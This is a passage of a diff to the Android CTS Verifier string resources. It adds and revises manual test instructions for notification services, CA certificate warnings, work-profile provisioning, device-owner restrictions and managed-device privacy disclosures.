+    <string name="nas_service_name">Notification Assistant for CTS Verifier</string>
+    <string name="nas_info">This test checks that a NotificationAssistantService can be enabled
+        and disabled, and that once enabled the service is able to receive notifications and
+        dismiss them.
+    </string>
+    <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
     <string name="vr_tests">VR Tests</string>
     <string name="test_category_vr">VR</string>
     <string name="vr_test_title">VR Listener Test</string>
@@ -1407,18 +1527,39 @@
         under Apps > Gear Icon > Special Access > VR Helper Services and return here.</string>
         <string name="vr_disable_service">Please disable \"VR Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > VR Helper Services and return here.</string>
+    <string name="nas_enable_service">Please enable \"Notification Assistant for CTS Verifier\"
+        under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
+    <string name="nas_disable_service">Please disable \"Notification Assistant for CTS Verifier\"
+        under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
     <string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
     <string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
         under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
     <string name="nls_start_settings">Launch Settings</string>
     <string name="nls_service_started">Service should start once enabled.</string>
+    <string name="nas_note_enqueued_received">Check that notification was enqueued.</string>
     <string name="nls_note_received">Check that notification was received.</string>
     <string name="nls_payload_intact">Check that notification payload was intact.</string>
+    <string name="nas_adjustment_payload_intact">Check that the Assistant can adjust notifications.</string>
+    <string name="nas_adjustment_enqueue_payload_intact">Check that the Assistant can adjust notifications on enqueue.</string>
+    <string name="nas_create_channel">Check that the Assistant can create a Notification Channel for another app.</string>
+    <string name="nas_update_channel">Check that the Assistant can update a Notification Channel for another app.</string>
+    <string name="nas_block_channel">Check that the Assistant can block a Notification Channel.</string>
+    <string name="nas_delete_channel">Check that the Assistant can delete a Notification Channel for another app.</string>
+    <string name="nas_snooze_context">Check that the Assistant can snooze a notification until a given context.</string>
     <string name="nls_clear_one">Check that service can clear a notification.</string>
+    <string name="nls_clear_one_reason">Check that service can clear a notification and receive the correct reason for dismissal.</string>
     <string name="nls_clear_all">Check that service can clear all notifications.</string>
     <string name="nls_service_stopped">Service should stop once disabled.</string>
     <string name="nls_note_missed">Check that notification was not received.</string>
+    <string name="nls_snooze">Check the service can be snoozed.</string>
+    <string name="nls_unsnooze">Check the service can be unsnoozed.</string>
+    <string name="nls_hints">Check that the listener can set hints.</string>
+    <string name="nls_snooze_one">Check that service can snooze a notification.</string>
+    <string name="nls_snooze_one_time">Check that service can snooze a notification for a given time.</string>
+    <string name="nls_get_snoozed">Check that service can retrieve snoozed notifications.</string>
+    <string name="nls_unsnooze_one">Check that service can unsnooze a notification.</string>
+    <string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
     <string name="cp_test">Condition Provider test</string>
     <string name="cp_service_name">Condition Provider for CTS Verifier</string>
     <string name="cp_info">This test checks that a ConditionProviderService can be enabled
@@ -1429,6 +1570,7 @@
     <string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
     <string name="cp_start_settings">Launch Settings</string>
     <string name="cp_create_rule">Creating Automatic Zen Rule</string>
+    <string name="cp_update_rule">Updating Automatic Zen Rule</string>
     <string name="cp_subscribe_rule">Subscribing to Automatic Zen Rule</string>
     <string name="cp_service_started">Service should start once enabled.</string>
     <string name="cp_service_stopped">Service should stop once disabled.</string>
@@ -1492,14 +1634,14 @@
     <string name="cacert_info">This test checks that when a CA Certificate is installed, the user is notified.</string>
     <string name="cacert_do_something">Do it</string>
     <string name="cacert_done">Done</string>
-    <string name="cacert_install_cert">Use the CertInstaller to install the certificate. When it opens, just tap "Okay". If this button does nothing, pass the test and move on.</string>
+    <string name="cacert_install_cert">Use the CertInstaller to install the certificate "MyCA.cer" from device storage. When it opens, choose any name and tap "Okay". If this button does nothing, pass the test and move on.</string>
     <string name="cacert_check_cert_in_settings">Visit the user-installed trusted credentials page and confirm that the "Internet Widgits Pty Ltd" cert appears in the list.</string>
     <string name="cacert_remove_screen_lock">You may have been prompted to set a screen lock when installing the certificate. If so, remove it. If not, you may skip this step.</string>
     <string name="cacert_check_notification">Look at the system notifications. Confirm that:\n
 1. There is a notification saying a certificate authority is installed.\n
 2. Tapping that notification brings up a more detailed explanation and a button to check trusted credentials.\n
 3. Tapping that button brings up the Trusted Credentials page you just visited.</string>
-    <string name="cacert_dismiss_notification">Dismiss the notification. If it cannot be dismissed, fail the test.</string>
+    <string name="cacert_dismiss_notification">Open the notification and follow the link to remove CA certificates. If removing CA certificates does not dismiss the notification, fail the test.</string>
 
     <string name="caboot_test">CA Cert Notification on Boot test</string>
     <string name="caboot_info">This test is to confirm that when the user has installed a trusted credential, the system notifies the user when it boots.</string>
@@ -1540,7 +1682,10 @@
     <string name="provisioning_byod_nonmarket_allow_info">
         This test verifies that non-market apps can be installed if permitted.\n
         1. A package installation UI should appear.\n
-        2. Accept the package and verify that it installs.
+        2. If \'Cts Verifier\' is not allowed to install apps, a warning dialog will appear
+        blocking the install. In this case go to step 3, else skip to step 4.\n
+        3. Allow \'Cts Verifier\' to install apps. Return to package installer.\n
+        4. Accept the package and verify that it installs.
     </string>
 
     <string name="provisioning_byod_nonmarket_deny">Disable non-market apps</string>
@@ -1602,7 +1747,7 @@
     <string name="provisioning_byod_auth_bound_key_set_up">Set up</string>
     <string name="provisioning_byod_lockscreen_bound_key">Lockscreen-bound key test</string>
     <string name="provisioning_byod_fingerprint_bound_key">Fingerprint-bound key test</string>
-    <string name="provisioning_byod_vpn">Vpn test</string>
+    <string name="provisioning_byod_vpn">VPN test</string>
     <string name="provisioning_byod_select_work_challenge">Select work lock test</string>
     <string name="provisioning_byod_select_work_challenge_description">
         This test verifies that a work lock can be chosen.\n
@@ -1615,6 +1760,8 @@
         This test verifies that work lock is shown when opening a work app,
         the work lock was set correctly and it is customized according to
         the policies set. You can only do this test after you have done the previous test.\n
+        Before running this test press the power button to turn the screen off and then back on and
+        swipe to unlock.\n
 
         1. Open a work app.\n
         2. Verify that a screen asking you for your work credentials is shown.\n
@@ -1626,6 +1773,45 @@
     <string name="provisioning_byod_confirm_work_credentials_header">
         CtsVerifier
     </string>
+
+    <string name="provisioning_byod_recents">Recents redaction test</string>
+    <string name="provisioning_byod_recents_info">
+        This test verifies that if a work profile is locked with a separate password, Recents views
+        for applications in the work profile are redacted.
+    </string>
+    <string name="provisioning_byod_recents_instructions">
+        This test verifies that if a work profile is locked with a separate password, Recents views
+        for applications in the work profile are redacted.\n
+        Some devices may not lock as soon as the screen is turned off by default. On such devices,
+        use the button below when requested to lock the work profile.
+    </string>
+    <string name="provisioning_byod_recents_lock_now">Lock now</string>
+
+    <string name="provisioning_byod_recents_verify_redacted">
+        Verify recents are redacted when locked.
+    </string>
+    <string name="provisioning_byod_recents_verify_redacted_instruction">
+        1) Follow the instructions on-screen to set a work password.\n
+        2) Turn the screen off and on again, or use the "lock now" button, to lock the work profile.\n
+        3) Open Recents.\n
+        4) Confirm that this "CTS Verifier" activity is shown in Recents.\n
+        5) Confirm that the contents of the activity <b>are</b> hidden.\n
+        6) Return to this page and pass the test.
+    </string>
+    <string name="provisioning_byod_recents_verify_not_redacted">
+        Verify recents are not redacted when unlocked.
+    </string>
+    <string name="provisioning_byod_recents_verify_not_redacted_instruction">
+        1) Follow the instructions on-screen to remove the work password.\n
+        2) Open Recents.\n
+        3) Confirm that this "CTS Verifier" activity is shown in Recents.\n
+        4) Confirm that the contents of the activity <b>are not</b> hidden.\n
+        5) Return to this page and pass the test.
+    </string>
+    <string name="provisioning_byod_recents_remove_password">
+        The work profile still has a separate password. Please remove this before continuing.
+    </string>
+
     <!-- Strings for DeskClock -->
     <string name="deskclock_tests">Alarms and Timers Tests</string>
     <string name="deskclock_tests_info">
@@ -1717,7 +1903,7 @@
     <string name="test_category_projection">Projection Tests</string>
     <string name="projection_service_name">Projection Service</string>
     <string name="pca_info">This tests whether or not OpenGL projection works.\n
-        You should see two "tumbling cubes." Tapping the screen should case the cubes to explode.</string>
+        You should see two "tumbling cubes." Tapping the screen should cause the cubes to explode.</string>
     <string name="pca_test">Projection Cube Test</string>
     <string name="pwa_info">This tests whether or displaying widets and keyfocus navigation works.\n
         You should see four buttons on the bottom of the screen.\n
@@ -1781,15 +1967,24 @@
     <string name="provisioning_tests_byod_custom_color"> Custom provisioning color </string>
     <string name="provisioning_tests_byod_custom_color_info">
         Please press the Go button to start the provisioning.
-        Check that provisioning is colorized in green.
+        Check that the top status bar and "Accept and continue" button are colorized in green.
         Then hit back and stop the provisioning.
     </string>
     <string name="provisioning_tests_byod_custom_image"> Custom provisioning image </string>
     <string name="provisioning_tests_byod_custom_image_info">
-        Please press the Go button to start the provisioning.
-        Check that the CtsVerifier logo is displayed at the top of the page.
-        Then hit back and stop the provisioning.
+        1. Please press the Go button to start the provisioning.\n
+        2. Press \"Accept and continue\" button to start work profile provisioning\n
+        3. Check that the CtsVerifier logo is displayed during provisioning\n
+        4. After successful provisioning, you should be automatically redirected back to this page
     </string>
+    <string name="provisioning_tests_byod_custom_terms">Custom terms</string>
+    <string name="provisioning_tests_byod_custom_terms_instructions">
+        1. Please press the Go button to start the provisioning.\n
+        2. Click \"View Terms\" button\n
+        3. Expand \"Company ABC\" section. Verify the section content is \"Company Terms Content.\"\n
+        4. Then hit back twice and stop the provisioning.
+    </string>
+    <string name="provisioning_tests_byod_custom_term_header1">Company ABC</string>
 
     <!-- Strings for BYOD managed provisioning (ByodFlowTestActivity) -->
     <string name="test_category_managed_provisioning">Managed Provisioning</string>
@@ -1990,19 +2185,19 @@
         - Both Personal and Work categories exist.\n
         - \"Remove work profile\" exists under the Work category.\n
         \n
-        Furthermore, hit the action overflow button (3 dots) and verify that:\n
-        - There are two auto-sync options present, one for personal and one for work data.\n
+        Furthermore, verify that:\n
+        - There are two auto-sync options present, one for personal and one for work data (either on the screen or in the overflow menu).\n
         - De-selecting either option prompts a warning dialog.\n
         \n
         Use the Back button to return to this page.
     </string>
     <string name="provisioning_byod_admin_visible_instruction">
         Please press the Go button to open the Security page in Settings.
-        Navigate to Device administrators and confirm that:\n
+        Navigate to Device admin apps and confirm that:\n
         \n
         - Device administrators outside of the work profile (if any) appear in the list, and the managed profile administrators are badged correctly.\n
         - A badged \"CTS Verifier\" exists, and is activated.\n
-        - Attempting to uncheck the badged \"CTS Verifier\" shows a page allowing the user to remove the managed profile.\n
+        - There is no option to deactivate the badged \"CTS Verifier\" version, only an option to \"Remove work profile\".\n
         \n
         Use the Back button to return to this page.
     </string>
@@ -2042,23 +2237,21 @@
         Please press the Go button to open the Settings page.\n
         \n
         Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
-        Confirm that \"All work apps\" section is present and that the list includes badged apps.\n
-        Confirm that tapping on \"All work apps\" section shows a list of only work profile apps data usage.\n
+        Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         \n
         Then use the Back button to return to this test and mark accordingly.
     </string>
 
-    <string name="provisioning_byod_cellular_data_usage_settings">Profile-aware data usage settings (Cellular)</string>
+    <string name="provisioning_byod_cellular_data_usage_settings">Profile-aware data usage settings (Mobile)</string>
     <string name="provisioning_byod_cellular_data_usage_settings_instruction">
         Please disable Wi-Fi connection on your device.\n
-        Please make sure you have added a SIM card with data plan to your phone, have enabled data over cellular and in case of dual SIM devices, have selected the right SIM for data connection.\n
+        Please make sure you have added a SIM card with data plan to your phone, have enabled data over mobile and in case of dual SIM devices, have selected the right SIM for data connection.\n
         Please carry out operations that will use mobile data using both badged and unbadged apps (e.g. visit a page in a browser).\n
         \n
         Please press the Go button to open the Settings page.\n
         \n
-        Navigate to \"Data usage\" page and then into the \"Cellular data usage\" category.\n
-        Confirm that \"All work apps\" section is present and that the list includes badged apps.\n
-        Confirm that tapping on \"All work apps\" section shows a list of only work profile apps data usage.\n
+        Navigate to \"Data usage\" page and then into the \"Mobile data usage\" category.\n
+        Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         \n
         Then use the Back button to return to this test and mark accordingly.
     </string>
@@ -2154,9 +2347,9 @@
     </string>
 
     <string name="provisioning_byod_turn_off_work">Turn off work mode</string>
-    <string name="provisioning_byod_turn_off_work_info">This test verifes device behaviours when turning off work mode.</string>
+    <string name="provisioning_byod_turn_off_work_info">This test verifies device behaviors when turning off work mode.</string>
     <string name="provisioning_byod_turn_off_work_instructions">
-        This test verifies the device behaviour when work profile is turned off.\n
+        This test verifies the device behavior when work profile is turned off.\n
         Please exercise the following tests in sequence.\n
         The button below can be used to open the Settings page where you can toggle work mode.
     </string>
@@ -2227,14 +2420,39 @@
         2. Lock and unlock the screen to verify that the personal side password was set correctly.\n
     </string>
 
-    <!-- Strings for DeviceOwnerProvisioningTest -->
-    <string name="provisioning_device_owner">Device Owner Provisioning</string>
-    <string name="device_owner_provisioning_tests">Device Owner provisioning tests</string>
-    <string name="device_owner_provisioning_tests_info">The device owner provisioning tests verify that setting up a corporate owned device can only be done on a factory reset device.</string>
-    <string name="device_owner_provisioning_category">Device Owner Provisioning</string>
-    <string name="device_owner_negative_test">Device owner negative test</string>
-    <string name="device_owner_negative_test_info">Please click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
+    <!-- Strings for DeviceOwnerNegativeTestActivity -->
+    <string name="negative_device_owner">No Device Owner Tests</string>
+    <string name="device_owner_negative_category">No Device Owner Tests</string>
+    <string name="device_owner_provisioning_negative">Device owner provisioning</string>
+    <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
     <string name="start_device_owner_provisioning_button">Start provisioning</string>
+    <string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
+    <string name="enterprise_privacy_quick_settings_negative_info">
+        Please do the following:\n
+        1) Open and fully expand Quick Settings.\n
+        2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
+        3) Close Quick Settings.
+    </string>
+    <string name="enterprise_privacy_keyguard_negative">Keyguard disclosure</string>
+    <string name="enterprise_privacy_keyguard_negative_info">
+        Please do the following:\n
+        1) Press the Go button to open Settings.\n
+        2) Navigate to \"Security\" &gt; \"Screen lock\" and select the first screen lock type that is not \"None\".\n
+        3) Use the Back button to return to this page.\n
+        4) Lock the device.\n
+        5) Verify that on the lock screen, you are not told the device is managed.\n
+        6) Unlock the device.\n
+        7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
+    </string>
+    <string name="enterprise_privacy_add_account_negative">Add account disclosure</string>
+    <string name="enterprise_privacy_add_account_negative_info">
+        Please do the following:\n
+        1) Press the Go button to open Settings.\n
+        2) In the screen that opens, verify that you are not told that the device is managed.\n
+        3) Use the Back button to return to this page.
+    </string>
+
+    <!-- Strings for DeviceOwnerPositiveTestActivity -->
     <string name="positive_device_owner">Device Owner Tests</string>
     <string name="device_owner_positive_tests">Device Owner positive tests</string>
     <string name="device_owner_positive_tests_instructions">
@@ -2336,8 +2554,8 @@
     <string name="device_profile_owner_permission_lockdown_test">Permissions lockdown</string>
     <string name="device_profile_owner_permission_lockdown_test_instructions">
             Select each of the three grant states for the permission shown below in turn.\n
-            Now open application settings, select Permissions, and verify if the following behaviour is observed.\n
-            <b>Allow:</b> Permission is granted to the app and cannot be changed through the settings UI. Trying to change it triggers a support message.\n
+            Now open application settings, select Permissions, and verify if the following behavior is observed.\n
+            <b>Grant:</b> Permission is granted to the app and cannot be changed through the settings UI. Trying to change it triggers a support message.\n
             <b>Let user decide:</b> Permission state can be changed through the settings UI.\n
             <b>Deny:</b> Permission is denied to the app and cannot be changed through the settings UI. Trying to change it triggers a support message.\n
             Please mark the test accordingly.
@@ -2416,7 +2634,7 @@
     <string name="device_owner_disallow_data_roaming_info">
         Device should have a sim card to perform this test.
         Please press the Set restriction button to set the user restriction.
-        Then press Go to open the Cellular network page in Settings.
+        Then press Go to open the Mobile network page in Settings.
         Confirm that:\n\n
         - Data roaming is disabled.\n
         - Enabling data roaming is not possible and triggers a support message.\n\n
@@ -2439,7 +2657,7 @@
     <string name="device_owner_settings_go">Go</string>
 
     <string name="device_owner_vpn_connection">
-        Vpn connection has been established.\n
+        VPN connection has been established.\n
         This is not as expected.\n
         Mark this test as failed.\n
     </string>
@@ -2454,7 +2672,7 @@
         Mark this test as passed.\n
     </string>
     <string name="device_owner_vpn_test">Check VPN</string>
-    <string name="device_owner_vpn_info_default">Vpn test message</string>
+    <string name="device_owner_vpn_info_default">VPN test message</string>
 
     <string name="device_owner_disallow_config_vpn">Disallow configuring VPN</string>
     <string name="device_owner_disallow_config_vpn_info">
@@ -2464,8 +2682,6 @@
         You should either see (a) the VPN settings page or (b) that the Intent
         android.settings.VPN_SETTINGS fails to resolve.\n
         In the case of (a), confirm that:\n
-        - You cannot add a new VPN network.\n
-        - You cannot edit, add or remove any existing VPNs.\n
         - Trying to perform any of the above actions will trigger a support message.\n
         In the case of (b) this step is successful.\n\n
         2. Press Check VPN to check programmatic Vpn test.\n
@@ -2626,7 +2842,7 @@
     <string name="disallow_fun">Disallow fun</string>
     <string name="disallow_fun_action">Opening android easter egg game by tapping repeatedly on the \'Android version\' option</string>
     <string name="disallow_install_unknown_sources">Disallow install unknown sources</string>
-    <string name="disallow_install_unknown_sources_action">Enabling \'Unknown sources\' setting</string>
+    <string name="disallow_install_unknown_sources_action">Enabling \'Cts Verifier\' to install apps</string>
     <string name="disallow_modify_accounts">Disallow modify accounts</string>
     <string name="disallow_modify_accounts_action">Adding an account or removing an account (if you have already added one)</string>
     <string name="disallow_network_reset">Disallow network reset</string>
@@ -2635,6 +2851,8 @@
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
     <string name="disallow_remove_user_action">Removing other users</string>
+    <string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
+    <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
     <string name="disallow_share_location">Disallow share location</string>
     <string name="disallow_share_location_action">Turning on location sharing</string>
     <string name="disallow_uninstall_apps">Disallow uninstall apps</string>
@@ -2684,18 +2902,320 @@
         Check that \'Dummy Input method\' is not enabled in Settings and disallow \'Dummy Input method\' from permitted input methods by turning on the switch below.
     </string>
     <string name="set_permitted_input_methods_action">
-        Enabling \'Dummy Input Method\' in the list of accessibility services
+        Enabling \'Dummy Input method\' in the list of accessibility services
     </string>
     <string name="set_permitted_input_methods_widget_label">
         Allow only system input methods:
     </string>
 
+    <!-- Strings used for enterprise privacy tests -->
+    <string name="enterprise_privacy_test">Managed device info tests</string>
+    <string name="enterprise_privacy_page">Managed device info page</string>
+    <string name="enterprise_privacy_page_info">
+        Please press the Go button to open Settings. Verify that:\n
+        1) There is an entry for managed device information.\n
+        2) Tapping that entry opens a screen.\n
+        3) In this screen, at a minimum, you are told your organization can:\n
+        * Change settings on this device.\n
+        * See data associated with your work account.\n
+        * See the list of all apps on your device.\n
+        * See usage of each app on your device.\n
+        * Lock the device and change the password.\n
+        * Wipe the device.\n
+        \n
+        Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_open_settings">Open Settings</string>
+    <string name="enterprise_privacy_network_logging">Retrieve traffic logs</string>
+    <string name="enterprise_privacy_network_logging_info">
+        Please do the following:\n
+        1) Press the Retrieve Traffic Logs button and record the time at which you did this.\n
+        2) Wait one minute.\n
+        3) Press the Open Settings button.\n
+        4) In the screen that opens, verify that you are told traffic logs were last retrieved at the time you pressed the Retrieve Traffic Logs button in step (1).\n
+        \n
+        Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_retrieve_network_logs">Retrieve Traffic Logs</string>
+    <string name="enterprise_privacy_bug_report">Request bug report</string>
+    <string name="enterprise_privacy_bug_report_info">
+        Please do the following:\n
+        1) Press the Request Bug Report button and record the time at which you did this.\n
+        2) Wait one minute.\n
+        3) Press the Open Settings button.\n
+        4) In the screen that opens, verify that you are told a bug report was last requested at the time you pressed the Request Bug Report button in step (1).\n
+        \n
+        Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_request_bug_report">Request Bug Report</string>
+    <string name="enterprise_privacy_security_logging">Retrieve security logs</string>
+    <string name="enterprise_privacy_security_logging_info">
+        Please do the following:\n
+        1) Press the Retrieve Security Logs button and record the time at which you did this.\n
+        2) Wait one minute.\n
+        3) Press the Open Settings button.\n
+        4) In the screen that opens, verify that you are told security logs were last retrieved at the time you pressed the Retrieve Security Logs button in step (1).\n
+        \n
+        Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_retrieve_security_logs">Retrieve Security Logs</string>
+    <string name="enterprise_privacy_clear_organization">Clear Org</string>
+    <string name="enterprise_privacy_set_organization">Set Org</string>
+    <string name="enterprise_privacy_enterprise_installed_apps">Enterprise-installed apps</string>
+    <string name="enterprise_privacy_enterprise_installed_apps_info">
+        Please do the following:\n
+        1) You should have received NotificationBot.apk together with the CTS verifier. If you built the CTS verifier yourself, build the NotificationBot.apk by issuing the following command on the host:\n
+            make NotificationBot\n
+        2) Upload the NotificationBot.apk to your device by issuing the following command on the host:\n
+            adb push /path/to/NotificationBot.apk /sdcard\n
+        3) Press the Uninstall button.\n
+        4) Press the Open Settings button.\n
+        5) In the screen that opens, verify that you are not told that your administrator installed any apps.\n
+        6) Use the Back button to return to this page.\n
+        7) Press the Install button.\n
+        8) Press the Open Settings button.\n
+        9) In the screen that opens, verify that you are told now that your administrator installed at least one app.\n
+        10) Tap on that information. Verify that a list of apps installed shows.\n
+        11) Verify that the list contains the CTS Robot app.\n
+        12) Use the Back button to return to this page.\n
+        13) Press the Uninstall button.\n
+        14) Issue the following command on the host:\n
+            adb shell rm /sdcard/NotificationBot.apk
+    </string>
+    <string name="enterprise_privacy_install">Install</string>
+    <string name="enterprise_privacy_uninstall">Uninstall</string>
+    <string name="enterprise_privacy_admin_granted_location_access">Location access permission</string>
+    <string name="enterprise_privacy_admin_granted_location_access_info">
+        Please do the following:\n
+        1) Press the Reset button.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told that your administrator has granted location access to any apps.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Grant button.\n
+        6) Press the Open Settings button.\n
+        7) In the screen that opens, verify that you are told now that your administrator has granted location access to at least one app.\n
+        8) Tap on that information. Verify that a list of apps which have location access shows.\n
+        9) Verify that the list contains the CTS Verifier app.\n
+        10) Use the Back button to return to this page.\n
+        11) Press the Reset button.
+    </string>
+    <string name="enterprise_privacy_reset">Reset</string>
+    <string name="enterprise_privacy_grant">Grant</string>
+    <string name="enterprise_privacy_admin_granted_microphone_access">Microphone access permission</string>
+    <string name="enterprise_privacy_admin_granted_microphone_access_info">
+        Please do the following:\n
+        1) Press the Reset button.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told that your administrator has granted microphone access to any apps.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Grant button.\n
+        6) Press the Open Settings button.\n
+        7) In the screen that opens, verify that you are told now that your administrator has granted microphone access to at least one app.\n
+        8) Tap on that information. Verify that a list of apps that have microphone access shows.\n
+        9) Verify that the list contains the CTS Verifier app.\n
+        10) Use the Back button to return to this page.\n
+        11) Press the Reset button.
+    </string>
+    <string name="enterprise_privacy_admin_granted_camera_access">Camera access permission</string>
+    <string name="enterprise_privacy_admin_granted_camera_access_info">
+        Please do the following:\n
+        1) Press the Reset button.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told that your administrator has granted camera access to any apps.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Grant button.\n
+        6) Press the Open Settings button.\n
+        7) In the screen that opens, verify that you are told now that your administrator has granted camera access to at least one app.\n
+        8) Tap on that information. Verify that a list of apps that have camera access shows.\n
+        9) Verify that the list contains the CTS Verifier app.\n
+        10) Use the Back button to return to this page.\n
+        11) Press the Reset button.
+    </string>
+    <string name="enterprise_privacy_default_apps">Default apps</string>
+    <string name="enterprise_privacy_default_apps_info">
+        Please do the following:\n
+        1) Press the Reset button.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told that your administrator set any default apps.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Set Default Apps button.\n
+        6) Press the Open Settings button.\n
+        7) In the screen that opens, verify that you are now told that your administrator has set 7 default apps.\n
+        8) Tap on that information. Verify that a list of default apps shows, with 7 elements in it.\n
+        9) Verify that each element shows the CTS Verifier is the default app.\n
+        10) Use the Back button to return to this page.\n
+        11) Press the Reset button.
+    </string>
+    <string name="enterprise_privacy_set_default_apps">Set Default Apps</string>
+    <string name="enterprise_privacy_default_ime">Default keyboard</string>
+    <string name="enterprise_privacy_default_ime_info">
+        Please do the following:\n
+        1) Press the Open Settings button.\n
+        2) In the screen that opens, verify that you are not told the default keyboard has been set.\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Set Keyboard button to set the default keyboard.\n
+        5) Repeat steps (1) through (3), verifying that in step (2), you are told now that the default keyboard has been set to CTS Verifier.\n
+        6) Press the Finish button to clear the default keyboard.
+    </string>
+    <string name="enterprise_privacy_set_keyboard">Set Keyboard</string>
+    <string name="enterprise_privacy_finish">Finish</string>
+    <string name="enterprise_privacy_always_on_vpn">Always-on VPN</string>
+    <string name="enterprise_privacy_always_on_vpn_info">
+        Please do the following:\n
+        1) Press the Open Settings button.\n
+        2) In the screen that opens, verify that you are not told that an always-on VPN is set.\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Set VPN button to set an always-on VPN.\n
+        5) Repeat steps (1) through (3), verifying that in step (2), you are told now that an always-on VPN is set.\n
+        6) Press the Finish button to clear the always-on VPN.
+    </string>
+    <string name="enterprise_privacy_set_always_on_vpn">Set VPN</string>
+    <string name="enterprise_privacy_comp_always_on_vpn">Always-on VPN (managed profile)</string>
+    <string name="enterprise_privacy_comp_always_on_vpn_info">
+        Please do the following:\n
+        1) Press the Start button to create a work profile.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told that an always-on VPN is set.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Set VPN button to set an always-on VPN in your work profile.\n
+        6) Repeat steps (2) through (4), verifying that in step (3), you are told now that an always-on VPN is set in your work profile.\n
+        7) Press the Finish button to remove the work profile and always-on VPN.
+    </string>
+    <string name="enterprise_privacy_start">Start</string>
+    <string name="enterprise_privacy_global_http_proxy">Global HTTP Proxy</string>
+    <string name="enterprise_privacy_global_http_proxy_info">
+        Please do the following:\n
+        1) Press the Open Settings button.\n
+        2) In the screen that opens, verify that you are not told that a global HTTP proxy has been set.\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Set Proxy button.\n
+        5) Repeat steps (1) through (3), verifying that in step (2), you are told now that a global HTTP proxy has been set.\n
+        6) Press the Clear Proxy button.
+    </string>
+    <string name="enterprise_privacy_ca_certs">Trusted CA certs</string>
+    <string name="enterprise_privacy_ca_certs_info">
+        Please do the following:\n
+        1) Press the Open Settings button.\n
+        2) In the screen that opens, verify that you are not told that your administrator installed trusted CA certs.\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Install Cert button to install a trusted CA cert.\n
+        5) Repeat steps (1) through (3), verifying that in step (2), you are told now that the administrator has installed at least one trusted CA cert.\n
+        6) Press the Finish button to clear the cert.
+    </string>
+    <string name="enterprise_privacy_install_cert">Install Cert</string>
+    <string name="enterprise_privacy_comp_ca_certs">Trusted CA certs (managed profile)</string>
+    <string name="enterprise_privacy_comp_ca_certs_info">
+        Please do the following:\n
+        1) Press the Start button to create a work profile.\n
+        2) Press the Settings button.\n
+        3) In the screen that opens, verify that you are not told that your administrator installed trusted CA certs.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Install Cert button to install a trusted CA cert in your work profile.\n
+        6) Repeat steps (2) through (4), verifying that in step (3), you are told now that the administrator has installed at least one trusted CA cert in your work profile.\n
+        7) Press the Finish button to remove the work profile and cert.
+    </string>
+    <string name="enterprise_privacy_settings">Settings</string>
+    <string name="enterprise_privacy_set_proxy">Set Proxy</string>
+    <string name="enterprise_privacy_clear_proxy">Clear Proxy</string>
+    <string name="enterprise_privacy_failed_password_wipe">Wipe on authentication failure</string>
+    <string name="enterprise_privacy_failed_password_wipe_info">
+        Please do the following:\n
+        1) Press the Open Settings button.\n
+        2) In the screen that opens, verify that you are not told all device data will be deleted if you mistype your password too many times.\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Set Limit button to set the maximum number of password attempts.\n
+        5) Repeat steps (1) through (3), verifying that in step (2), you are told now that all device data will be deleted if you mistype your password 100 times.\n
+        6) Press the Finish button to clear the maximum number of password attempts.
+    </string>
+    <string name="enterprise_privacy_set_limit">Set Limit</string>
+    <string name="enterprise_privacy_comp_failed_password_wipe">Wipe on authentication failure (managed profile)</string>
+    <string name="enterprise_privacy_comp_failed_password_wipe_info">
+        Please do the following:\n
+        1) Press the Start button to create a work profile.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are not told work profile data will be deleted if you mistype your password too many times.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Set Limit button to set the maximum number of password attempts.\n
+        6) Repeat steps (2) through (4), verifying that in step (3), you are told now that work profile data will be deleted if you mistype your password 100 times.\n
+        7) Press the Finish button to remove the work profile.
+    </string>
+    <string name="enterprise_privacy_quick_settings">Quick settings disclosure</string>
+    <string name="enterprise_privacy_quick_settings_info">
+        Please do the following:\n
